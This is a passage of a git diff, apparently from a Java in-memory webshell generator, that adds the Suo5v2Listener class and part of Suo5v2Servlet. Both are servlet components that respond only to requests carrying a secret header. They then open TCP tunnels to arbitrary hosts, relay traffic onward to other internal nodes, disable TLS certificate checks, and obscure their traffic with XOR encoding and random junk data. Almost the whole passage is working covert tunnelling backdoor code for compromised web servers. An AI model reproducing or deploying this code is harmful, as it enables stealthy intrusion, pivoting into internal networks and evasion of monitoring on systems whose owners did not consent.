OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Listener(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); + new Suo5v2Listener().process(request, response); + } + } catch (Throwable ignored) { + } + } + + private Object getResponseFromRequest(Object request) throws Exception { + return null; + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Listener(tunId, 1)).start(); + new Thread(new Suo5v2Listener(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java new file mode 100644 index 00000000..8ebbf059 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -0,0 +1,1191 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Servlet() { + } + + public Suo5v2Servlet(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Servlet(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Servlet().process(request, response); + } + } catch (Throwable ignored) { + } + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = 